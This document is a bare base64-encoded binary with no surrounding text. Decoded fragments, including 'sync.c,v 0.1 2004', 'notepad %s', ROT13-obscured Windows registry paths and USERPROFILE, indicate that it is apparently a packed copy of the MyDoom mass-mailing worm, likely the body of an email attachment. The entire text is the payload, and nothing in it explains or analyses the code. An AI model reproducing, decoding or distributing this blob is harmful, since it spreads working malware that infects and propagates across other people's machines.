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 hfnY1qn//1uiQmyZyfwya6fmKG0gYE6fgyqk3f//X2jELP9u4FXNSMZHaTLcaYHsIrtX9pg9+i/0 /+WQPu+jWhTRPDQa41RQJf3Ytpd7Yvh/6ResKRwSCwftDRUgLj/rCoShB4T///+30F+OwPX7CKbn K3K8Cb3MAlu3FnjdVbAeDwN6//////RxujGozUpDISoPaXACYzrS4pSpaXlFib58JYWRVQ7B+Lf+ /+0eU7VE7t9o8Ucyln+MHVvIJal81Saz//9btIDStQRigm4ciuRMot0AUbml6S7/f4vGS3CHVzwn aXtoiZWigJ3m6/OJ/9/4239tWwwL+YPoESOe3wtGhGgxUJrnN4r//w3+4DmV9Fa7I9pt4VjST89S 2GHt7fD2/wsa//8v/SxBWXSSs5koVYW47idjouQpcbwKW68GYL0d/xZf6oDmT46cEYkEuocOmCW1 SN7/////dxOyVPmhTPqrXxbQjU0Q1p9rOgzhuZRyUzceCPXl2M7/hf7/x8PCxMnR3Or7DyZAXX2g TxtKfLHpJGKj/wL//+cueMUVaL4Xc9I0mQFs2ksAsC2tMLY/y///jf7LztTd6fgKQFJwkbXcBjNj lswFQYDCB0//Uv//mug5jeQ+m/texC2ZCHrvZ1PhZex2A5Mm/l/q/7xV8ZAy138q2Ik96Gsr7rR9 SRjqv5dy6P//l8AV/ObTw7aspaGgoqevusjZ7QQeO1v1//9fQc35KFqPxyhzeW5jLmMsdiAwLjEg MjAwNP0j22+TMS94eCACOiBhbmR5KQB7uwUbzAItDAAFHAA5Cc4Q/5kPAQAQAAkAEtcDByF++2Z1 dnp0TXYucXl5N0Zi/b/7/3Nnam5lclxadnBlYmYNXEp2YXFiamZcUGhlf/n/vxdhZ0lyZWZ2YmFc UmtjeWJlcmVielF5dDO3+C3YMlwZQ2pyb0Z2a0Z6ur/99mdrRjBTZ25meHoXLnJrcgBHC1orNAX2 I2dFeZeW//a/bm90ZXBhZCAlcwtNZXNzYWdlACwl+5jbD3USBS4ydToEim57zxQGAy8tPyv7b/9v Q2VjAE5vdgBPY3QAU00AQXVnAEp1bAO2udutblNheQ9wcgcDRpC3v122E2FTYSdGcmkAVGhEV2X2 zt22ZAd1c01vFy9hYmNkn/vCb/9naGlqa2xtnHBxcnN0Tnd4eXpn9v//f0FCQ0RFRkdISUpLTE1O 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 